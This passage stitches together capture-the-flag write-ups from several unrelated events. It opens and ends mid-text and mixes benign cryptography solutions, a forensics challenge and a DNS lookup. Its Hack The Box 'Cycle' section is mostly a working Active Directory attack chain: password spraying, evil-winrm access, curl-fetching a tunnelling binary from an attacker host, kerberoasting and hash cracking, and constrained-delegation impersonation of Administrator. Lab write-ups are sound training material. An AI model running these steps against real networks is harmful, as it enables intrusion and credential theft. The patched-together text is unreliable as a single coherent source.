`/root/.bash_history` file - I figured if I knew what commands root ran, I'd know where to start looking: ```lsexittar --versionexitcd ../mobile/Containers/Data/Application/find ./ -iname *hammerandchisel* -type d 2>/dev/nullcd 0CE5D539-F72A-4C22-BADF-A02CE5A50D2E/lscd Library/lscd Caches/lscd com.hammerandchisel.discord/lsrm -rf *lscd ..lslscd com.hammerandchisel.discord/lsexitcd ../mobile/Containers/Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B/Library/Application\ Support/rm webssh.db exit``` This bash history file had two commands listed at the bottom that caught my eye: ```cd ../mobile/Containers/Data/Application/AA7DB282-D12B-4FB1-8DD2-F5FEF3E3198B/Library/Application\ Support/rm webssh.db ``` ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/tablet1/webssh_folder.png) I opened up the webssh.db file in [DB Browser for SQLite](https://sqlitebrowser.org/) as pictured above and found all the details I needed to connect to Red's server. The username, host, port, private key, and decryption passkey were all included in one nice, little, tidy file for me to use. I copied the private key into a .pem file, but found that since it was an OpenSSH private key and not RSA, I couldn't use it through the SSH command line interface. ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/tablet1/puttyKeyGen.png) After a little research on the interwebs, I learned that it was commonly used in PuTTY - so I opened up Puttygen, loaded the key, and inserted the decryption password (side note - the password shown was `********`, so I figured it was redacted and would have to brute force it. However, I tried the 8 asterisks anyway for funzies and it worked! So that was legitimately the decrypt password). I then downloaded the private key as a .PPK file, put that into the regular PuTTY console interface, and signed into `red.chal.uiuc.tf` as red. This is when I ran into my 14th problem of the day - the session kept closing suddenly. I told PuTTY to not close the session unless I told it to, and when I tried to log in again, it said it could only be used with SFTP - FTP over SSH. I used [FileZilla](https://filezilla-project.org/), an open-source solution that supports FTP, SFTP, and FTPS. I added in all the credentials as needed, specified the protocol as SFTP, and successfully logged in. It placed me in the `/home/red/` folder, where I found another `.bash_history` file. This file only had one line: ```mv /srv/exfiltrated "/srv/..."``` ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/tablet1/serverFiles.png) I went to that directory and found one file - `important_data.jpg`. I uploaded that photo to my own computer and found the flag inside! ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/tablet1/important_data.jpg) **Flag:** `uiuctf{upload_task_only_takes_9_seconds_0bf79b}`
## Titu### Challenge > [Cryptography](https://cr.yp.toc.tf/tasks/Tuti_f9ebebb92f31b4eaefdb6491bdcd7a9c008ad2ec.txz) is coupled with all kinds of equations very much! ```python#!/usr/bin/env python3 from Crypto.Util.number import *from flag import flag l = len(flag)m_1, m_2 = flag[: l // 2], flag[l // 2:] x, y = bytes_to_long(m_1), bytes_to_long(m_2) k = '''000bfdc32162934ad6a054b4b3db8578674e27a165113f8ed018cbe91124fbd63144ab6923d107eee2bc0712fcbdb50d96fdf04dd1ba1b69cb1efe71af7ca08ddc7cc2d3dfb9080ae56861d952e8d5ec0ba0d3dfdf2d12764'''.replace('\n', '') assert((x**2 + 1)*(y**2 + 1) - 2*(x - y)*(x*y - 1) == 4*(int(k, 16) + x*y))``` Given this source, the goal is to solve the equation to obtain both $x,y$. ### Solution Factoring $k$ we find that it is a perfect square ```pythonsage: factor(k)2^2 * 3^2 * 11^4 * 19^2 * 47^2 * 71^2 * 3449^2 * 11953^2 * 5485619^2 * 2035395403834744453^2 * 17258104558019725087^2 * 1357459302115148222329561139218955500171643099^2``` Which tells us that moving some terms around, we can write the left hand side as a perfect square too: ```pythonsage: f = (x**2 + 1)*(y**2 + 1) - 2*(x - y)*(x*y - 1) - 4*x*ysage: fx^2*y^2 - 2*x^2*y + 2*x*y^2 + x^2 - 4*x*y + y^2 + 2*x - 2*y + 1sage: factor(f)(y - 1)^2 * (x + 1)^2``` So we can solve this challenge by looking at the divisors of $\sqrt{4k}$ as we have $$(y - 1)^2 (x + 1)^2 = 4k = m$$ This is easy using Sage's `divisors(m)` function: ```pythonfactors = [2, 2, 3, 11, 11, 19, 47, 71, 3449, 11953, 5485619, 2035395403834744453, 17258104558019725087, 1357459302115148222329561139218955500171643099] m = prod(factors) for d in divs: x = long_to_bytes(d - 1) if b'CCTF{' in x: print(x) y = (n // d) + 1 print(long_to_bytes(y)) b'CCTF{S1mPL3_4Nd_N!cE_D'b'iophantine_EqUa7I0nS!}'``` ##### Flag `CCTF{S1mPL3_4Nd_N!cE_Diophantine_EqUa7I0nS!}`
## Onlude### Challenge> Encryption and Decryption could be really easy, while we expected the decryption to be harder! ```python#!/usr/bin/env sage from sage.all import *from flag import flag global p, alphabetp = 71alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>' flag = flag.lstrip('CCTF{').rstrip('}')assert len(flag) == 24 def cross(m): return alphabet.index(m) def prepare(msg): A = zero_matrix(GF(p), 11, 11) for k in range(len(msg)): i, j = 5*k // 11, 5*k % 11 A[i, j] = cross(msg[k]) return A def keygen(): R = random_matrix(GF(p), 11, 11) while True: S = random_matrix(GF(p), 11, 11) if S.rank() == 11: _, L, U = S.LU() return R, L, U def encrypt(A, key): R, L, U = key S = L * U X = A + R Y = S * X E = L.inverse() * Y return E A = prepare(flag)key = keygen()R, L, U = keyS = L * UE = encrypt(A, key)print(f'E = \n{E}')print(f'L * U * L = \n{L * U * L}')print(f'L^(-1) * S^2 * L = \n{L.inverse() * S**2 * L}')print(f'R^(-1) * S^8 = \n{R.inverse() * S**8}')``` ```pythonE = [25 55 61 28 11 46 19 50 37 5 21][20 57 39 9 25 37 63 31 70 15 47][56 31 1 1 50 67 38 14 42 46 14][42 54 38 22 19 55 7 18 45 53 39][55 26 42 15 48 6 24 4 17 60 64][ 1 38 50 10 19 57 26 48 6 4 14][13 4 38 54 23 34 54 42 15 56 29][26 66 8 48 6 70 44 8 67 68 65][56 67 49 61 18 34 53 21 7 48 32][15 70 10 34 1 57 70 27 12 33 46][25 29 20 21 30 55 63 49 11 36 7]L * U * L = [50 8 21 16 13 33 2 12 35 20 14][36 55 36 34 27 28 23 21 62 17 8][56 26 49 39 43 30 35 46 0 58 43][11 25 25 35 29 0 22 38 53 51 58][34 14 69 68 5 32 27 4 27 62 15][46 49 36 42 26 12 28 60 54 66 23][69 55 30 65 56 13 14 36 26 46 48][25 48 16 20 34 57 64 62 61 25 62][68 39 11 40 25 11 7 40 24 43 65][54 20 40 59 52 60 37 14 32 44 4][45 20 7 26 45 45 50 17 41 59 50]L^(-1) * S^2 * L = [34 12 70 21 36 2 2 43 7 14 2][ 1 54 59 12 64 35 9 7 49 11 49][69 14 10 19 16 27 11 9 26 10 45][70 17 41 13 35 58 19 29 70 5 30][68 69 67 37 63 69 15 64 66 28 26][18 29 64 38 63 67 15 27 64 6 26][ 0 12 40 41 48 30 46 52 39 48 58][22 3 28 35 55 30 15 17 22 49 55][50 55 55 61 45 23 24 32 10 59 69][27 21 68 56 67 49 64 53 42 46 14][42 66 16 29 42 42 23 49 43 3 23]R^(-1) * S^8 = [51 9 22 61 63 14 2 4 18 18 23][33 53 31 31 62 21 66 7 66 68 7][59 19 32 21 13 34 16 43 49 25 7][44 37 4 29 70 50 46 39 55 4 65][29 63 29 43 47 28 40 33 0 62 8][45 62 36 68 10 66 26 48 10 6 61][43 30 25 18 23 38 61 0 52 46 35][ 3 40 6 45 20 55 35 67 25 14 63][15 30 61 66 25 33 14 20 60 50 50][29 15 53 22 55 64 69 56 44 40 8][28 40 69 60 28 41 9 14 29 4 29]``` ### Solution In this challenge, we are given the source code of an encryption scheme that uses matrix operations for encryption and decryption, the corresponding encrypted flag and some hints. For the encryption part: $$ E = L^{-1}Y = L^{-1}SX = L^{-1}LU(A+R) = U(A+R) $$ The three hints we have is $LUL$, $L^{-1}S^2L$ and $R^{-1}S^8$ Since $S=LU$, we can rewrite the second hint as $ULUL$, then we can get $U$ by dividing hint1.For the third hint $R^{-1}S^8$, we can rewrite it as $R^{-1}(LULU)^4=R^{-1}(h_1U)^4$, then we can get $R$. With $U$ and $R$ known, we can then recover the flag $A$ from $E$. ```pythonfrom sage.all import * E = Matrix(GF(71),[[25,55,61,28,11,46,19,50,37,5,21],[20,57,39,9,25,37,63,31,70,15,47],[56,31,1,1,50,67,38,14,42,46,14],[42,54,38,22,19,55,7,18,45,53,39],[55,26,42,15,48,6,24,4,17,60,64],[1,38,50,10,19,57,26,48,6,4,14],[13,4,38,54,23,34,54,42,15,56,29],[26,66,8,48,6,70,44,8,67,68,65],[56,67,49,61,18,34,53,21,7,48,32],[15,70,10,34,1,57,70,27,12,33,46],[25,29,20,21,30,55,63,49,11,36,7]]) hint1 = Matrix(GF(71),[[50,8,21,16,13,33,2,12,35,20,14],[36,55,36,34,27,28,23,21,62,17,8],[56,26,49,39,43,30,35,46,0,58,43],[11,25,25,35,29,0,22,38,53,51,58],[34,14,69,68,5,32,27,4,27,62,15],[46,49,36,42,26,12,28,60,54,66,23],[69,55,30,65,56,13,14,36,26,46,48],[25,48,16,20,34,57,64,62,61,25,62],[68,39,11,40,25,11,7,40,24,43,65],[54,20,40,59,52,60,37,14,32,44,4],[45,20,7,26,45,45,50,17,41,59,50]]) hint2=Matrix(GF(71),[[34,12,70,21,36,2,2,43,7,14,2],[1,54,59,12,64,35,9,7,49,11,49],[69,14,10,19,16,27,11,9,26,10,45],[70,17,41,13,35,58,19,29,70,5,30],[68,69,67,37,63,69,15,64,66,28,26],[18,29,64,38,63,67,15,27,64,6,26],[0,12,40,41,48,30,46,52,39,48,58],[22,3,28,35,55,30,15,17,22,49,55],[50,55,55,61,45,23,24,32,10,59,69],[27,21,68,56,67,49,64,53,42,46,14],[42,66,16,29,42,42,23,49,43,3,23]]) hint3=Matrix(GF(71),[[51,9,22,61,63,14,2,4,18,18,23],[33,53,31,31,62,21,66,7,66,68,7],[59,19,32,21,13,34,16,43,49,25,7],[44,37,4,29,70,50,46,39,55,4,65],[29,63,29,43,47,28,40,33,0,62,8],[45,62,36,68,10,66,26,48,10,6,61],[43,30,25,18,23,38,61,0,52,46,35],[3,40,6,45,20,55,35,67,25,14,63],[15,30,61,66,25,33,14,20,60,50,50],[29,15,53,22,55,64,69,56,44,40,8],[28,40,69,60,28,41,9,14,29,4,29]]) U = hint2/hint1R = (hint3/U/hint1/U/hint1/U/hint1/U/hint1).inverse()A = U.inverse()*E-Ralphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'flag = ''for k in range(24): i, j = 5*k // 11, 5*k % 11 flag+=alphabet[A[i, j]]print('CCTF{'+flag+'}')``` ##### Flag `CCTF{LU__D3c0mpO517Ion__4L90?}`
## RECORDS ***This is an easy one, what was the IP address in the first A record after we started using Cloudflare on our domain. *** (domain is securebug.se) first of all, try using DIG ```dig securebug.se``` securebug.se. 300 IN A 172.67.73.212 securebug.se. 300 IN A 104.26.0.66 securebug.se. 300 IN A 104.26.1.66 any of these ip's is correct answer. So I belive, that there was A record in the past and we should check DNS history. portal ```securitytrails.com``` is good place to browse dns records history ![](https://i.ibb.co/PrfhpVK/Records.png) flag SBCTF{104.27.128.155}
# CycleThe nmap shows a windows box.```# nmap -sCV -p- cycle.htbNmap scan report for cycle.htb (10.129.58.189)Host is up (0.17s latency).Not shown: 65524 filtered portsPORT STATE SERVICE VERSION135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds?5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49536/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049670/tcp open msrpc Microsoft Windows RPC49689/tcp open msrpc Microsoft Windows RPCService Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results:| smb2-security-mode: | 2.02: |_ Message signing enabled and required| smb2-time: | date: 2021-07-24 15:02:54|_ start_date: N/A``` Looking at port 445 (SMB) we could see that the machine is a domain controller. ```$ smbclient -U " "%" " -L //cycle.htb/Unable to initialize messaging context Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin Backups Disk Shared folder C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share ```The `Backups` share can be accessed anonymously: ```$ smbclient -U " "%" " //cycle.htb/BackupsUnable to initialize messaging contextTry "help" to get a list of possible commands.smb: \> ls . D 0 Fri Jun 11 13:01:45 2021 .. D 0 Fri Jun 11 13:01:45 2021 Onboarding.docx A 6495 Fri Jun 11 13:01:33 2021 sqltest_deprecated.exe A 6144 Fri Jun 11 13:01:45 2021 test.txt A 5 Fri Jun 11 12:54:50 2021 5237247 blocks of size 4096. 2108119 blocks availablesmb: \> ``` `Onboarding.docx` suggests a password reuse with the following information.```MegaCorp Onboarding Document Hello newbie! We’re excited to have you here and look forward to working with you. Here are a few things to help you get started: Workstation password: Meg@CorP20! Username format: FLast (Eg. JDoe) Please change the password once you login! Note: This document has been deprecated in favor of the new cloud board.```The binary `sqltest_deprecated.exe` is a .NET assembly.By quickly looking at it on IDA we can see the following code:```aDczkw0ktscdnll: // DATA XREF: SQLTest__Main↑o text "UTF-16LE", "dcZKW0ktsCDNlLjH3wEdmnURrL1okbk6FJYE5/hpfe8=",0aNxl6e8rtljuaip: // DATA XREF: SQLTest__Main+B↑o text "UTF-16LE", "nXL6E8RtlJuaipLQtVQo9A==",0aDckxwal4e3zeji: // DATA XREF: SQLTest__Main+16↑o text "UTF-16LE", "dckxwaL4e3ZeJi8T0078rM3rwB39S+zmnrPf1ON1x2A=",0 string SQLTest::Decrypt(unsigned int8[] cipherText, unsigned int8[] Key, unsigned int8[] IV) Data Source=localhost;Initial Catalog=Production;Us" text "UTF-16LE", "er id=sqlsvc;Password={0}```The exe does a simple AES decryption in order to connect to the sql database. We can retrieve the password with [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)AES_Decrypt(%7B'option':'Base64','string':'dcZKW0ktsCDNlLjH3wEdmnURrL1okbk6FJYE5/hpfe8%3D'%7D,%7B'option':'Base64','string':'nXL6E8RtlJuaipLQtVQo9A%3D%3D'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=ZGNreHdhTDRlM1plSmk4VDAwNzhyTTNyd0IzOVMrem1uclBmMU9OMXgyQT0):![AES password decryption](../img/aes_decrypt.png "AES password decryption") We obtain the following credentials: `sqlsvc:T7Fjr526aD67tGJQ`. Credentials are valid on the domain (confirmed by CrackMapExec).```$ cme smb cycle.htb -u sqlsvc -p T7Fjr526aD67tGJQSMB 10.129.1.6 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:False)SMB 10.129.1.6 445 DC01 [+] MEGACORP.LOCAL\sqlsvc:T7Fjr526aD67tGJQ``` With this valid account we can retrieve domain users through RPC.```$ rpcclient -W MEGACORP.LOCAL cycle.htb -U 'sqlsvc%T7Fjr526aD67tGJQ' -c enumdomusersuser:[Administrator] rid:[0x1f4]user:[Guest] rid:[0x1f5]user:[krbtgt] rid:[0x1f6]user:[dsc] rid:[0x3e8]user:[GReynolds] rid:[0x450]user:[TMoore] rid:[0x451][...]``` We remember the on-boarding document. We tried to spray the previous password against all users and found 2 valid users (don't forget the `--continue-on-success` or you will miss WLee account).```$ cme smb cycle.htb -u users.txt -p 'Meg@CorP20!' --continue-on-successSMB 10.129.1.6 445 DC01 [-] MEGACORP.LOCAL\Administrator:Meg@CorP20! STATUS_LOGON_FAILURESMB 10.129.1.6 445 DC01 [-] MEGACORP.LOCAL\Guest:Meg@CorP20! STATUS_LOGON_FAILURE[...]SMB 10.129.1.6 445 DC01 [+] MEGACORP.LOCAL\KPrice:Meg@CorP20!SMB 10.129.1.6 445 DC01 [+] MEGACORP.LOCAL\WLee:Meg@CorP20!``` With this account we can get command execution with evil-winrm: ```$ evil-winrm -u WLee -p 'Meg@CorP20!' -i cycle.htbEvil-WinRM shell v2.3Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\wlee\Documents>*Evil-WinRM* PS C:\Users\wlee\desktop> cat user.txtHTB{cycl3_g0_brrrr}``` Common ports on domain controller are not exposed. We setup a socks server in order to enumerate the domain with impacket.```$ ./revsocks -listen 10.10.14.27:11000 -socks 127.0.0.1:1100 -pass a_strong_password_ofc``````*Evil-WinRM* PS C:\windows\temp> curl 10.10.14.27/revsocks.exe -o revsocks.exe*Evil-WinRM* PS C:\windows\temp\mine> .\revsocks.exe -connect 10.10.14.27:11000 -pass a_strong_password_ofc``` We also run bloodhound and discover few interesting things. First one: we can kerberoast GFisher user.```$ proxychains GetUserSPNs.py MEGACORP.LOCAL/sqlsvc:T7Fjr526aD67tGJQ -requestImpacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ------- -------- -------------------------- -------------------------- -----------HTTP/Web01 GFisher 2021-06-11 12:59:40.165903 2021-06-11 13:42:38.853453 constrained $krb5tgs$23$*GFisher$MEGACORP.LOCAL$MEGACORP.LOCAL/GFisher*$b6851d6368749c79d643f6381aef0331$981a7fc2be63c1a8dc8321be5ab590cbcda5449f477c40ba753a3ad72df55e14a72ac7ef38ae187a19315102fd82cc337937a821e705462e7ecfdfa08ce67e923ac7ad6ba6440ae4a1eb5bc5498b82c6e288c0287fe7739ab3b287f52c73c14242213e2fc189c5daca1e6911273769373f56ab0c287dc2a208efa13a872f3aef90f84bb8dfd4f6fd4bcd28a1b0bd4655a8ffb6b4bee8d9b539555611dabc8bb3f841236416cc283d18ac8098099e1015656a9f4078dba08bd70230aafeaf2fe304309e9a031ba94fc5bb82966062ef29dad8bfdc7fa9bae3f9a7f00d476c36ae70f9ac15b9bb11bcfe854d2e5127b298787b4b1d31ad77d3e8fd879189bee5810b3d38d2afa104a7eb145e7dd60618aa6469c28b8701808c032337054cac1aa527a42a074ee8cd986185d56ae37209e6e33b581013a64e7765a0d35d6a3d94a9fd749100afda22397652482c8ce62812eaf8083757dc36b1f4e4d9edfe370e3b3f0c2ba8a7eb47815bc29d1afff9686ccd437680fd4ed91160f9fac61f14622a6590de7ff0eacae5d33a3bcefee77b6d54e989f2f37a99e0be0ca41ca82c14f0aa23001c2174474bdb7e16a7665b918559fd0f5d46bf39ecd284b467dd32a411c565ac80923d4497c4722ce6157fff42fbe14cf6a17286a1769607fd63f74d5d5b01594dd188735076156f9c5934b2ea2eb5795e85170d7caa760af50fea663180530c384e1733d2557121eee980957f696594385ebcb54cf88baebb341b5cc6233df884a4c225e3bf68f3f00a31c1426075342cbeb8b22331b32f226bb911e6ad01f713c3d8824c0ca69a19b0d7e55ecfd187633629ead55a28ba1f576a5f76a447cfb333adafebeafb7837055c90f37418be0b6a21ae0c3b25b2866d60c986b3562541eb5fe4d0bb122294cea43f77c9c57c977e1cff2dcb6a2f854021a72747f50af89c170c5814be0222e8d7c72923550333bce86bb980f5eb78f3c54a48ccdcceca9a1f192c364d75946ff9a3717a9325f898670b4791419f60901f6bc19930a4ff0b037fb99840081988f5cf8bafacdef07479226a0c88b44763f560a00c45a318d4f76b9ebdca823082787fa210f1efebc49721aa062b11ea2472a89339e1a918868de9a302ca435cb94c264c812afd6c0f27b9156b30276c53aa6261dedac6b2b865ec6cbccb996811aa79d856c0e064caebb1ad5d2d4f3129eadccf4cbe9f9c865ab7a905f06a21fe6c85e2accbcccb849ddf6ec811afdcd6622e021d5ad8e75b1dedd1d556e34b9af547c71628030e5ffa51ee010ed2fc36605a919e9178c666d1c8bc04143adb1f7307677956ac4e22 $ john fisher.hash --wordlist=rockyou.txtUsing default input encoding: UTF-8Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])Will run 8 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statusescorpion10 (?)``` With GFisher we can abuse the constrained delegation to takeover the domain.![Constrained delegation abuse](../img/constrained_delegation.png "Constrained delegation abuse") We used impacket to request a TGT for the domain Administrator account and get the root flag.```$ proxychains getST.py -spn MSSQL/DC01.MEGACORP.LOCAL -impersonate Administrator MEGACORP.LOCAL/GFISHER:'escorpion10'Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation [*] Getting TGT for user[*] Impersonating Administrator[*] Requesting S4U2self[*] Requesting S4U2Proxy[*] Saving ticket in Administrator.ccache $ export KRB5CCNAME=Administrator.ccache $ proxychains wmiexec.py -k -no-pass DC01.MEGACORP.LOCAL[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:\>type C:\users\administrator\desktop\root.txtHTB{d0nt_c0nstrain_m3_br0}```
## RSAphantine### Challenge > [RSA](https://cryp.toc.tf/tasks/RSAphantine_b1f2e30c7e90cfacb9ef4d0b5ce80abe33d1eb08.txz) and solving equations, but should be a real mathematician to solve it with a diophantine equation? ```python2*z**5 - x**3 + y*z = 47769864706750161581152919266942014884728504309791272300873440765010405681123224050402253883248571746202060439521835359010439155922618613520747411963822349374260144229698759495359592287331083229572369186844312169397998958687629858407857496154424105344376591742814310010312178029414792153520127354594349356721x**4 + y**5 + x*y*z = 89701863794494741579279495149280970802005356650985500935516314994149482802770873012891936617235883383779949043375656934782512958529863426837860653654512392603575042842591799236152988759047643602681210429449595866940656449163014827637584123867198437888098961323599436457342203222948370386342070941174587735051y**6 + 2*z**5 + z*y = 47769864706750161581152919266942014884728504309791272300873440765010405681123224050402253883248571746202060439521835359010439155922618613609786612391835856376321085593999733543104760294208916442207908167085574197779179315081994735796390000652436258333943257231020011932605906567086908226693333446521506911058p = nextPrime(x**2 + z**2 + y**2 << 76)q = nextPrime(z**2 + y**3 - y*x*z ^ 67)n, e = p * q, 31337m = bytes_to_long(FLAG)c = pow(m, e, n)c = 486675922771716096231737399040548486325658137529857293201278143425470143429646265649376948017991651364539656238516890519597468182912015548139675971112490154510727743335620826075143903361868438931223801236515950567326769413127995861265368340866053590373839051019268657129382281794222269715218496547178894867320406378387056032984394810093686367691759705672``` ### Solution This challenge gives us the following set of three equations and three unknowns $x$, $y$, and $z$; it then generates parameters for RSA encryption using the following equations: $$p = \text{nextPrime}(\frac{x^2+y^2+z^2}{2^{76}})\\q = \text{nextPrime}(z^2+y^3- (xyz \oplus 67))$$ It doesn't look like we can attack the equations for $p$ or $q$ directly, so we solve the diophantine equations first: $$2z^5-x^3+yz=47769... = a\\x^4+y^5+xyz=89701... = b\\y^6+2z^5+yz=47769... = c$$ Note that while the right hand side of the first and third equations appear to be the same, they are different numbers. We first compute $c-a = x^3+y^6 = (x+y^2)(x^2-xy^2+y^4)$ by sum of cubes; factoring $c-a$, we recover the factors $3133713317731333$ and $28413320364759425...$. Plugging the equations into z3, we solve for $x$, $y$, and $z$: ```pythonfrom z3 import *from sympy import * A = 3133713317731333B = 28413320364759425177418147555143516002041291710972733253944530195017276664069717887927099709630886727522090965378073004342203980057853092114878433424202989c = 486675922771716096231737399040548486325658137529857293201278143425470143429646265649376948017991651364539656238516890519597468182912015548139675971112490154510727743335620826075143903361868438931223801236515950567326769413127995861265368340866053590373839051019268657129382281794222269715218496547178894867320406378387056032984394810093686367691759705672 x = Int("x")y = Int("y")z = Int("z") s = Solver() s.add(y**2 + x == A)s.add(y**4 - x*y**2 + x**2 == B)s.add(y>0)s.add(2*z**5 - x**3 + y*z == 47769864706750161581152919266942014884728504309791272300873440765010405681123224050402253883248571746202060439521835359010439155922618613520747411963822349374260144229698759495359592287331083229572369186844312169397998958687629858407857496154424105344376591742814310010312178029414792153520127354594349356721)s.add(x**4 + y**5 + x*y*z == 89701863794494741579279495149280970802005356650985500935516314994149482802770873012891936617235883383779949043375656934782512958529863426837860653654512392603575042842591799236152988759047643602681210429449595866940656449163014827637584123867198437888098961323599436457342203222948370386342070941174587735051)s.add(y**6 + 2*z**5 + z*y == 47769864706750161581152919266942014884728504309791272300873440765010405681123224050402253883248571746202060439521835359010439155922618613609786612391835856376321085593999733543104760294208916442207908167085574197779179315081994735796390000652436258333943257231020011932605906567086908226693333446521506911058) if s.check() == sat: m = s.model() x = m[x].as_long() y = m[y].as_long() z = m[z].as_long() p = nextprime(x**2 + z**2 + y**2 << 76) q = nextprime(z**2 + y**3 - y*x*z ^ 67) d = pow(31337, -1, (p-1)*(q-1)) print(bytes.fromhex(hex(pow(c, d, p*q))[2:]).decode())``` ##### Flag`CCTF{y0Ur_jO8_C4l13D_Diophantine_An4LySI5!}`
## ELEGANT CURVE### Challenge> Playing with [Fire](https://cr.yp.toc.tf/tasks/elegant_curve_ae8c3f188723d2852c9f939ba87d930398720a62.txz)!>> `nc 07.cr.yp.toc.tf 10010` ```python#!/usr/bin/env python3 from Crypto.Util.number import *import sysfrom flag import flag def tonelli_shanks(n, p): if pow(n, int((p-1)//2), p) == 1: s = 1 q = int((p-1)//2) while True: if q % 2 == 0: q = q // 2 s += 1 else: break if s == 1: r1 = pow(n, int((p+1)//4), p) r2 = p - r1 return r1, r2 else: z = 2 while True: if pow(z, int((p-1)//2), p) == p - 1: c = pow(z, q, p) break else: z += 1 r = pow(n, int((q+1)//2), p) t = pow(n, q, p) m = s while True: if t == 1: r1 = r r2 = p - r1 return r1, r2 else: i = 1 while True: if pow(t, 2**i, p) == 1: break else: i += 1 b = pow(c, 2**(m-i-1), p) r = r * b % p t = t * b ** 2 % p c = b ** 2 % p m = i else: return False def add(A, B, p): if A == 0: return B if B == 0: return A l = ((B[1] - A[1]) * inverse(B[0] - A[0], p)) % p x = (l*l - A[0] - B[0]) % p y = (l*(A[0] - x) - A[1]) % p return (int(x), int(y)) def double(G, a, p): if G == 0: return G l = ((3*G[0]*G[0] + a) * inverse(2*G[1], p)) % p x = (l*l - 2*G[0]) % p y = (l*(G[0] - x) - G[1]) % p return (int(x), int(y)) def multiply(point, exponent, a, p): r0 = 0 r1 = point for i in bin(exponent)[2:]: if i == '0': r1 = add(r0, r1, p) r0 = double(r0, a, p) else: r0 = add(r0, r1, p) r1 = double(r1, a, p) return r0 def random_point(a, b, p): while True: x = getRandomRange(1, p-1) try: y, _ = tonelli_shanks((x**3 + a*x + b) % p, p) return (x, y) except: continue def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " hi talented cryptographers, the mission is decrypt a secret message", border) pr(border, " with given parameters for two elliptic curve, so be genius and send", border) pr(border, " suitable parameters, now try to get the flag! ", border) pr(border*72) nbit = 160 while True: pr("| Options: \n|\t[S]end ECC parameters and solve the task \n|\t[Q]uit") ans = sc().lower() if ans == 's': pr("| Send the parameters of first ECC y^2 = x^3 + ax + b like: a, b, p ") params = sc() try: a, b, p = params.split(',') a, b, p = int(a), int(b), int(p) except: die("| your parameters are not valid!!") if isPrime(p) and 0 < a < p and 0 < b < p and p.bit_length() == nbit: pr("| Send the parameters of second ECC y^2 = x^3 + cx + d like: c, d, q ") pr("| such that 0 < q - p <= 2022") params = sc() try: c, d, q = params.split(',') c, d, q = int(c), int(d), int(q) except: die("| your parameters are not valid!!") if isPrime(q) and 0 < c < q and 0 < d < q and 0 < q - p <= 2022 and q.bit_length() == nbit: G, H = random_point(a, b, p), random_point(c, d, q) r, s = [getRandomRange(1, p-1) for _ in range(2)] pr(f"| G is on first ECC and G =", {G}) pr(f"| H is on second ECC and H =", {H}) U = multiply(G, r, a, p) V = multiply(H, s, c, q) pr(f"| r * G =", {U}) pr(f"| s * H =", {V}) pr("| Send r, s to get the flag: ") rs = sc() try: u, v = rs.split(',') u, v = int(u), int(v) except: die("| invalid input, bye!") if u == r and v == s: die("| You got the flag:", flag) else: die("| the answer is not correct, bye!") else: die("| invalid parameters, bye!") else: die("| invalid parameters, bye!") elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` The challenge is to supply two elliptic curves $$E_p: y^2 = x^3 + ax + b \pmod p \\E_p: y^2 = x^3 + cx + d \pmod q$$ Where $0 < q - p < 2023$ and $0 < a,b < p$, $0 < c,d < q$. Supplying these curves, you are given two pairs of points and the challenge is to solve this discrete log for both pairs. Supplying the two private keys to the server gives the flag. ### Solution This challenge I solved in an identical way to [Tiny ECC](#tiny-ecc). I generated an anomalpus curve $E_p$ and then used `q = next_prime(p)`. I then searched for a pair $(c,d)$ where $\\#E_q$ was smooth. I think the intended solution was to generate two singular elliptic curves with smooth primes $p,q$ so you could solve the discrete log in $F_p^{\star}$ , but seeing as the last solution worked, this was already in my mind. First I needed an anomalous curve with 160 bit prime. Luckily, this is in the paper [Generating Anomalous Elliptic Curves](http://www.monnerat.info/publications/anomalous.pdf) as an example, so I can use their $m$ value. Iterating over $c,d$ I found a curve ```pythonq = 730750818665451459112596905638433048232067472077aq = 3bq = 481Eq = EllipticCurve(GF(q), [aq,bq]) factor(Eq.order()) 2^2 * 3 * 167 * 193 * 4129 * 882433 * 2826107 * 51725111 * 332577589 * 10666075363``` Which is smooth, with a 34 bit integer as the largest factor. Sending to the server: ```pythonp = 730750818665451459112596905638433048232067471723 ap = 425706413842211054102700238164133538302169176474 bp = 203362936548826936673264444982866339953265530166q = 730750818665451459112596905638433048232067472077aq = 3bq = 481``` I get my two pairs of points I can easily solve the dlog for ```pythonfrom random import getrandbits # params from 